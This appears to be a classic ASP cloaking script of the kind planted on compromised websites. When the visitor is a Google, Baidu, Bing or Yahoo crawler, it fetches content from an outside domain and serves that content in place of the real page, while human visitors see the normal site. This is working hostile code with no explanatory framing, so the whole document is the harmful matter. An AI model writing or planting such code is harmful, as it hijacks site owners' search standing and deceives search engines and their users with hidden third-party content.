<% function Getbot() dim s_agent Getbot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"googlebot",1) > 0 then Getbot="google" end if if instr(1,s_agent,"baiduspider",1) > 0 then Getbot="baidu" end if if instr(1,s_agent,"msnbot",1) > 0 then Getbot="bing" end if if instr(1,s_agent,"yahoo!",1) > 0 then Getbot="yahoo" end if end Function Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "utf-8" GetHtml = objStream.ReadText objStream.Close End Function 'On Error Resume Next if Getbot()="baidu" or Getbot()="google" or Getbot()="bing" or Getbot()="yahoo" Then dim url,body url="http://www.bedandbreakfast-kilim.com/mulberry/mulberry4/?key="&request("key") body = GetHtml(url) Response.write(body) Response.End Else %> <% end if %>